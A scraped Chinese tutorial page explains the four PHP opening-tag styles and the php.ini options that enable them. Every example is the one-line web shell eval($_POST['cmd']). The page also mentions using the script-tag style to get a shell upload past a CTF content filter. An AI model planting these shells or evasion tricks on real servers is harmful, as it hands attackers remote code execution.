」;3、簡短風格,即「」等等。"/> 」;3、簡短風格,即「」等等。">

首頁 >後端開發 >PHP問題 >PHP的標識有哪些

PHP的標識有哪些

藏色散人
藏色散人原創
2019-10-31 10:23:493544瀏覽

PHP的標識有哪些

PHP的標識有哪些?

PHP四種標記風格

1.XML風格

<?php
eval($_POST[&#39;cmd&#39;]); 
 ?>

php建議使用的標記風格。

伺服器管理員無法停用,所有伺服器上均可使用該風格。

2.腳本風格

<script language="php">
    eval($_POST[&#39;cmd&#39;]);
</script>

預設開啟,無法停用

筆者曾經遇過一CTF題目,要求上傳shell,但是卻對檔案內容做了過濾,

<script language="php">
    eval($_POST[&#39;cmd&#39;]);
</script>

3.簡短風格

<? 
    eval($_POST[&#39;cmd&#39;]);
?>

此種風格需要在設定檔php.ini中啟用short_open_tage選項

此種風格在許多環境中預設是不支援的

4.ASP風格

<% 
    eval($_POST[&#39;cmd&#39;]);
%>

此風格需要在設定檔php.ini中啟用asp_tag選項

在預設情況下是停用的

更多PHP相關知識,請造訪PHP中文網

以上是PHP的標識有哪些的詳細內容。更多資訊請關注PHP中文網其他相關文章!

陳述:
本文內容由網友自願投稿,版權歸原作者所有。本站不承擔相應的法律責任。如發現涉嫌抄襲或侵權的內容,請聯絡admin@php.cn